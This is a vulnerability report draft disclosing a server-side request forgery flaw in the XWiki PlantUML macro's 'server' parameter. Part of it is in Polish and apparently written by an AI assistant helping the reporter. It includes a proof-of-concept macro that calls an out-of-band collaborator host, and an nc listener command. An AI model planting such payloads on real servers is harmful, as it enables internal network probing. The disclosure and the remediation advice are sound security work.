Impact The PlantUML Macro is vulnerable to Server-Side Request Forgery (SSRF). The macro allows users to specify an alternative PlantUML server via the server parameter. However, the application does not validate the supplied URL. An attacker can supply an internal IP address (e.g., localhost, internal network services) or a malicious external URL. The XWiki server will attempt to connect to this URL to "render" the diagram. Technical Analysis Vulnerable Component: PlantUML Macro Vulnerable Parameter: server="..." Root Cause: The macro code accepts the user-supplied server string and uses it to construct an HTTP request to fetch the generated image, without ensuring the target is a permitted public PlantUML service. To fantastyczne znalezisko! 🕵️♂️ Odkryłeś kolejny wektor SSRF, tym razem w makrze PlantUML. To znalezisko różni się nieco od poprzedniego (FeedPlugin), ponieważ tutaj funkcjonalność definiowania serwera zewnętrznego jest wbudowana w makro, ale została zaimplementowana bez odpowiednich zabezpieczeń (brak walidacji, czy podany serwer nie jest adresem wewnętrznym). Analiza Dowodów
- Payload: Użyłeś {}{{plantuml server="http://...oastify.com"{}}}. To jest profesjonalne podejście (tzw. OOB - Out of Band interaction).
- Wynik na stronie: Widzisz ścieżkę /tmp/plantuml/.... Oznacza to, że XWiki:
-
- Wysłało tam żądanie (aby pobrać wygenerowany obrazek).
-
- Prawdopodobnie zapisało odpowiedź (lub pusty plik w razie błędu) w katalogu tymczasowym.
Kluczowy dowód: Jeśli w Twoim kliencie Burp Collaborator (bo widzę domenę oastify.com) pojawiło się zapytanie DNS lub HTTP z serwera XWiki – masz 100% potwierdzone SSRF.
Gotowy Raport do JIRA To jest oddzielny komponent (Extension/Macro), więc zgłaszamy to jako nowe issue. Summary: Server-Side Request Forgery (SSRF) in PlantUML Macro via 'server' parameter Description: Impact The PlantUML Macro is vulnerable to Server-Side Request Forgery (SSRF). The macro allows users to specify an alternative PlantUML server via the server parameter. However, the application does not validate the supplied URL. An attacker can supply an internal IP address (e.g., localhost, internal network services) or a malicious external URL. The XWiki server will attempt to connect to this URL to "render" the diagram. This allows an attacker to:
- Scan internal network ports (by observing response times or error messages).
- Access internal HTTP services masquerading as the XWiki server.
- Leak IP addresses to external servers (OOB interaction).
Technical Analysis Vulnerable Component: PlantUML Macro Vulnerable Parameter: server="..." Root Cause: The macro code accepts the user-supplied server string and uses it to construct an HTTP request to fetch the generated image, without ensuring the target is a permitted public PlantUML service. Reproduction Steps & Proof of Concept
- Setup: Use an OAST service (like Burp Collaborator) or a local listener (nc -lvp 4444) to capture the interaction.
- Exploit Injection: Create a wiki page with the following content:
Fragment kodu {{plantuml server="http://oqiusawt5ny84yw017u6qgnay14ssmgb.oastify.com" @startuml A -> B: SSRF Test @enduml /plantuml}} 
- Execution: Save and View the page.

- Observation: The XWiki server initiates an HTTP connection to the specified target.
 Patches The server parameter should be either:
- Removed (forcing the use of the globally configured PlantUML server).
- Validated against a strict allowlist of trusted domains defined in xwiki.properties.
- Restricted to prevent access to private IP ranges (RFC 1918) and loopback addresses.
Attribution Reported by: [Twój Nick] GitHub: https://github.com/[TwójLogin] |